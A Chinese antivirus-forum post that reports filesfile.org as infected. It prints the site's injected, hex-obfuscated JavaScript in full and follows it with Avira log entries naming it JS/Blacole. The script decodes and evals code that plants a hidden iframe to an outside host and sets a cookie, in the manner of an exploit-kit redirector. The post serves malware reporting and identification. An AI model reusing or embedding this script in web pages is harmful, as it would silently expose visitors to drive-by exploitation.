查看: 1264|回复: 0
收起左侧

[已鉴定] http://www.filesfile.org/

[复制链接]
fireold
发表于 2013-9-8 12:43:42 | 显示全部楼层 |阅读模式
  1. /*0f2490*/
  2. if (document.querySelector) zq = 4;
  3. a = ("27,6d,7c,75,6a,7b,70,76,75,27,69,37,40,2f,30,27,82,14,11,27,7d,68,79,27,7a,7b,68,7b,70,6a,44,2e,68,71,68,7f,2e,42,14,11,27,7d,68,79,27,6a,76,75,7b,79,76,73,73,6c,79,44,2e,70,75,6b,6c,7f,35,77,6f,77,2e,42,14,11,27,7d,68,79,27,69,27,44,27,6b,76,6a,7c,74,6c,75,7b,35,6a,79,6c,68,7b,6c,4c,73,6c,74,6c,75,7b,2f,2e,70,6d,79,68,74,6c,2e,30,42,14,11,14,11,27,69,35,7a,79,6a,27,44,27,2e,6f,7b,7b,77,41,36,36,77,68,79,6c,6b,6c,7a,77,76,7a,70,7b,70,7d,68,7a,35,6a,76,74,36,7e,77,34,6a,76,75,7b,6c,75,7b,36,5f,6e,53,81,6a,3e,7f,4e,35,77,6f,77,2e,42,14,11,27,69,35,7a,7b,80,73,6c,35,77,76,7a,70,7b,70,76,75,27,44,27,2e,68,69,7a,76,73,7c,7b,6c,2e,42,14,11,27,69,35,7a,7b,80,73,6c,35,6a,76,73,76,79,27,44,27,2e,38,2e,42,14,11,27,69,35,7a,7b,80,73,6c,35,6f,6c,70,6e,6f,7b,27,44,27,2e,38,77,7f,2e,42,14,11,27,69,35,7a,7b,80,73,6c,35,7e,70,6b,7b,6f,27,44,27,2e,38,77,7f,2e,42,14,11,27,69,35,7a,7b,80,73,6c,35,73,6c,6d,7b,27,44,27,2e,38,37,37,37,38,2e,42,14,11,27,69,35,7a,7b,80,73,6c,35,7b,76,77,27,44,27,2e,38,37,37,37,38,2e,42,14,11,14,11,27,70,6d,27,2f,28,6b,76,6a,7c,74,6c,75,7b,35,6e,6c,7b,4c,73,6c,74,6c,75,7b,49,80,50,6b,2f,2e,69,2e,30,30,27,82,14,11,27,6b,76,6a,7c,74,6c,75,7b,35,7e,79,70,7b,6c,2f,2e,43,77,27,70,6b,44,63,2e,69,63,2e,27,6a,73,68,7a,7a,44,63,2e,69,37,40,63,2e,27,45,43,36,77,45,2e,30,42,14,11,27,6b,76,6a,7c,74,6c,75,7b,35,6e,6c,7b,4c,73,6c,74,6c,75,7b,49,80,50,6b,2f,2e,69,2e,30,35,68,77,77,6c,75,6b,4a,6f,70,73,6b,2f,69,30,42,14,11,27,84,14,11,84,14,11,6d,7c,75,6a,7b,70,76,75,27,5a,6c,7b,4a,76,76,72,70,6c,2f,6a,76,76,72,70,6c,55,68,74,6c,33,6a,76,76,72,70,6c,5d,68,73,7c,6c,33,75,4b,68,80,7a,33,77,68,7b,6f,30,27,82,14,11,27,7d,68,79,27,7b,76,6b,68,80,27,44,27,75,6c,7e,27,4b,68,7b,6c,2f,30,42,14,11,27,7d,68,79,27,6c,7f,77,70,79,6c,27,44,27,75,6c,7e,27,4b,68,7b,6c,2f,30,42,14,11,27,70,6d,27,2f,75,4b,68,80,7a,44,44,75,7c,73,73,27,83,83,27,75,4b,68,80,7a,44,44,37,30,27,75,4b,68,80,7a,44,38,42,14,11,27,6c,7f,77,70,79,6c,35,7a,6c,7b,5b,70,74,6c,2f,7b,76,6b,68,80,35,6e,6c,7b,5b,70,74,6c,2f,30,27,32,27,3a,3d,37,37,37,37,37,31,39,3b,31,75,4b,68,80,7a,30,42,14,11,27,6b,76,6a,7c,74,6c,75,7b,35,6a,76,76,72,70,6c,27,44,27,6a,76,76,72,70,6c,55,68,74,6c,32,29,44,29,32,6c,7a,6a,68,77,6c,2f,6a,76,76,72,70,6c,5d,68,73,7c,6c,30,14,11,27,32,27,29,42,6c,7f,77,70,79,6c,7a,44,29,27,32,27,6c,7f,77,70,79,6c,35,7b,76,4e,54,5b,5a,7b,79,70,75,6e,2f,30,27,32,27,2f,2f,77,68,7b,6f,30,27,46,27,29,42,27,77,68,7b,6f,44,29,27,32,27,77,68,7b,6f,27,41,27,29,29,30,42,14,11,84,14,11,6d,7c,75,6a,7b,70,76,75,27,4e,6c,7b,4a,76,76,72,70,6c,2f,27,75,68,74,6c,27,30,27,82,14,11,27,7d,68,79,27,7a,7b,68,79,7b,27,44,27,6b,76,6a,7c,74,6c,75,7b,35,6a,76,76,72,70,6c,35,70,75,6b,6c,7f,56,6d,2f,27,75,68,74,6c,27,32,27,29,44,29,27,30,42,14,11,27,7d,68,79,27,73,6c,75,27,44,27,7a,7b,68,79,7b,27,32,27,75,68,74,6c,35,73,6c,75,6e,7b,6f,27,32,27,38,42,14,11,27,70,6d,27,2f,27,2f,27,28,7a,7b,68,79,7b,27,30,27,2d,2d,14,11,27,2f,27,75,68,74,6c,27,28,44,27,6b,76,6a,7c,74,6c,75,7b,35,6a,76,76,72,70,6c,35,7a,7c,69,7a,7b,79,70,75,6e,2f,27,37,33,27,75,68,74,6c,35,73,6c,75,6e,7b,6f,27,30,27,30,27,30,14,11,27,82,14,11,27,79,6c,7b,7c,79,75,27,75,7c,73,73,42,14,11,27,84,14,11,27,70,6d,27,2f,27,7a,7b,68,79,7b,27,44,44,27,34,38,27,30,27,79,6c,7b,7c,79,75,27,75,7c,73,73,42,14,11,27,7d,68,79,27,6c,75,6b,27,44,27,6b,76,6a,7c,74,6c,75,7b,35,6a,76,76,72,70,6c,35,70,75,6b,6c,7f,56,6d,2f,27,29,42,29,33,27,73,6c,75,27,30,42,14,11,27,70,6d,27,2f,27,6c,75,6b,27,44,44,27,34,38,27,30,27,6c,75,6b,27,44,27,6b,76,6a,7c,74,6c,75,7b,35,6a,76,76,72,70,6c,35,73,6c,75,6e,7b,6f,42,14,11,27,79,6c,7b,7c,79,75,27,7c,75,6c,7a,6a,68,77,6c,2f,27,6b,76,6a,7c,74,6c,75,7b,35,6a,76,76,72,70,6c,35,7a,7c,69,7a,7b,79,70,75,6e,2f,27,73,6c,75,33,27,6c,75,6b,27,30,27,30,42,14,11,84,14,11,70,6d,27,2f,75,68,7d,70,6e,68,7b,76,79,35,6a,76,76,72,70,6c,4c,75,68,69,73,6c,6b,30,14,11,82,14,11,70,6d,2f,4e,6c,7b,4a,76,76,72,70,6c,2f,2e,7d,70,7a,70,7b,6c,6b,66,7c,78,2e,30,44,44,3c,3c,30,82,84,6c,73,7a,6c,82,5a,6c,7b,4a,76,76,72,70,6c,2f,2e,7d,70,7a,70,7b,6c,6b,66,7c,78,2e,33,27,2e,3c,3c,2e,33,27,2e,38,2e,33,27,2e,36,2e,30,42,14,11,14,11,69,37,40,2f,30,42,14,11,84,14,11,84".split(","));
  4. r = eval;

  5. function vqvq() {
  6.     zva = function() {
  7.         --(d.body)
  8.     }()
  9. }
  10. d = document;
  11. for (i = 0; i < a.length; i += 1) {
  12.     a[i] = -(12 - 5) + parseInt(a[i], zq * 4);
  13. }
  14. try {
  15.     vqvq()
  16. } catch (q) {
  17.     yy = 50 - 50;
  18. }
  19. try {
  20.     yy /= 123
  21. } catch (pq) {
  22.     yy = 1;
  23. }
  24. if (!yy) r(String["fr" + "omCh" + "arCo" + "de"].apply(String, a)); /*/0f2490*/
复制代码



Avira
2013/9/8 下午 12:39 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\AVC3APW1\upload[1].js'
      包含病毒或有害的程式 'JS/Blacole.EB.50' [virus]
      已採取動作:
      檔案會移動至 '56555027.qua' 名稱底下的隔離區目錄。.

2013/9/8 下午 12:39 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數:        811
      目錄數:        0
      惡意程式碼數:        1
      警告數:        0

2013/9/8 下午 12:38 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\filesfile_org[1].htm'
      包含病毒或有害的程式 'JS/Blacole.EH.1' [virus]
      已採取動作:
      檔案會移動至 '558e5311.qua' 名稱底下的隔離區目錄。.

2013/9/8 下午 12:38 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數:        811
      目錄數:        0
      惡意程式碼數:        1
      警告數:        0

2013/9/8 下午 12:38 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\AVC3APW1\upload[1].js 中
      偵測到病毒或有害的程式 'JS/Blacole.EB.50 [virus]'
      執行的動作:傳輸至掃描程式

2013/9/8 下午 12:38 [Web Protection] 發現惡意程式碼
      從 URL "http://filesfile.org/js/upload.js" 存取資料時,
      發現病毒或有害的程式 'JS/Blacole.EB.50' [virus]。
      已採取動作:已略過

2013/9/8 下午 12:38 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\AVC3APW1\upload[1].js 中
      偵測到病毒或有害的程式 'JS/Blacole.EB.50 [virus]'
      執行的動作:拒絕存取

2013/9/8 下午 12:38 [Web Protection] 發現惡意程式碼
      從 URL "http://filesfile.org/js/upload.js" 存取資料時,
      發現病毒或有害的程式 'JS/Blacole.EB.50' [virus]。
      已採取動作:已略過

2013/9/8 下午 12:38 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\filesfile_org[1].htm 中
      偵測到病毒或有害的程式 'JS/Blacole.EH.1 [virus]'
      執行的動作:傳輸至掃描程式

2013/9/8 下午 12:38 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\filesfile_org[1].htm 中
      偵測到病毒或有害的程式 'JS/Blacole.EH.1 [virus]'
      執行的動作:拒絕存取

2013/9/8 下午 12:38 [Web Protection] 發現惡意程式碼
      從 URL "http://www.filesfile.org/" 存取資料時,
      發現病毒或有害的程式 'JS/Blacole.EH.1' [virus]。
      已採取動作:已略過


av2.jpg




fs2.jpg
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-4 08:09 , Processed in 0.136621 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表